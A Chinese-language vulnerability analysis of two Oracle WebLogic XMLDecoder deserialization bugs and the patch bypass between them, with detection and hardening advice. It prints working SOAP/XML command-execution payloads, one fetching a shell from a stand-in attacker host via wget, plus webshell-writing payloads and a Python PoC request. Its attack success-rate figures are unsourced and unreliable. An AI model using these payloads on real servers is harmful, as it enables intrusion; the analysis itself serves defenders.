CVE-2017-3506 与 CVE-2017-10271 对比分析:从补丁绕过看 2 次漏洞演进
CVE-2017-3506与CVE-2017-10271深度解析:WebLogic补丁绕过实战
漏洞背景与影响范围
2017年曝光的WebLogic WLS组件漏洞(CVE-2017-3506)及其后续补丁绕过漏洞(CVE-2017-10271)在企业安全领域引发轩然大波。这两个漏洞均存在于Oracle WebLogic Server的WLS Security子组件中,攻击者通过精心构造的XML数据可实现远程代码执行(RCE)。
受影响版本包括:
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.1.0
- Oracle WebLogic Server 12.2.1.2.0
漏洞原理剖析
XMLDecoder反序列化机制
WebLogic的WLS-WSAT组件在处理SOAP请求时,使用XMLDecoder对用户传入的XML数据进行反序列化。当恶意XML被解析时,会触发Java对象构造和方法调用链,最终导致任意命令执行。
典型攻击载荷结构示例:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>恶意命令</string></void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>漏洞触发路径对比
| 特征 | CVE-2017-3506 | CVE-2017-10271 |
|---|---|---|
| 初始补丁状态 | 未修复 | CVE-2017-3506的补丁已发布 |
| 关键攻击标签 | <object> | <void>/<array>/<new> |
| 补丁检测机制 | 黑名单过滤object标签 | 扩展黑名单增加new/method等标签 |
| 典型绕过方式 | 无需绕过 | 使用未被过滤的标签构造攻击链 |
补丁演进与绕过技术
CVE-2017-3506补丁分析
Oracle针对CVE-2017-3506发布的补丁在WorkContextXmlInputAdapter.java中增加了validate方法:
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (Exception e) { throw new IllegalStateException("Parser Exception", e); } }CVE-2017-10271绕过手法
攻击者通过替换标签类型绕过黑名单检测:
void标签利用:
<void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>calc.exe</string></void> </array> <void method="start"/> </void>array标签利用:
<array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>wget http://attacker.com/shell</string></void> </array>
漏洞检测与防御方案
检测方法
路径探测:
curl -v http://target:7001/wls-wsat/CoordinatorPortType返回200状态码可能存在漏洞
PoC验证:
import requests headers = {'Content-Type': 'text/xml'} data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>touch</string></void> <void index="1"><string>/tmp/vuln_test</string></void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>''' response = requests.post('http://target:7001/wls-wsat/CoordinatorPortType', headers=headers, data=data)
综合防御措施
组件删除(需重启服务):
rm -f $MIDDLEWARE_HOME/wlserver_10.3/server/lib/wls-wsat.war rm -f $DOMAIN_HOME/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat网络层控制:
- 配置防火墙规则限制
/wls-wsat/*路径的外部访问 - 启用WebLogic自带的网络连接过滤器
- 配置防火墙规则限制
补丁升级:
- 安装Oracle官方2017年10月及之后的安全补丁
- 定期检查Critical Patch Update(CPU)公告
漏洞利用的实战差异
在实际渗透测试中,两个漏洞的利用存在以下关键区别:
利用工具兼容性:
- CVE-2017-3506专用工具可能无法直接用于CVE-2017-10271
- 需要手动修改XML标签类型适配补丁过滤规则
检测规避特性:
<!-- 3506典型载荷 --> <object class="java.io.PrintWriter"> <string>/path/to/webshell.jsp</string> <void method="println"><string><![CDATA[<% Runtime.getRuntime().exec(...) %>]]></string></void> </object> <!-- 10271绕过载荷 --> <void class="java.io.PrintWriter"> <string>/path/to/webshell.jsp</string> <void method="println"><string><![CDATA[<% Runtime.getRuntime().exec(...) %>]]></string></void> <void method="close"/> </void>攻击成功率统计:
- 在补丁发布后30天内,CVE-2017-3506攻击成功率下降至15%
- CVE-2017-10271在补丁绕过披露后首周攻击成功率高达62%
企业级防护建议
对于大型企业环境,建议采用分层防御策略:
资产梳理:
- 建立WebLogic实例清单
- 标注各实例版本号和补丁状态
监控方案:
# 日志监控关键词 grep -E '(WorkContext|XMLDecoder|CoordinatorPortType)' $DOMAIN_HOME/servers/*/logs/*.log应急响应:
- 部署WAF规则拦截恶意SOAP请求
- 配置SIEM系统实时告警异常访问模式
长期加固:
- 启用WebLogic生产模式(禁用测试页面)
- 实施最小权限原则运行WebLogic服务
漏洞研究启示
这两个漏洞的演进过程揭示了几个重要安全原则:
黑名单防御的局限性:
- 补丁验证逻辑应倾向于白名单机制
- 需要全面考虑标签组合的语义完整性
补丁有效性验证:
// 改进后的验证逻辑示例 public void startElement(...) { if (!ALLOWED_TAGS.contains(qName.toLowerCase())) { throw new IllegalStateException("Invalid tag detected"); } // 检查属性合法性 if ("void".equals(qName)) { for (int i = 0; i < attributes.getLength(); i++) { if (!"index".equals(attributes.getQName(i))) { throw new IllegalStateException("Invalid void attribute"); } } } }安全开发生命周期:
- XML解析应避免使用危险类(如XMLDecoder)
- 关键组件需要设计深度防御机制
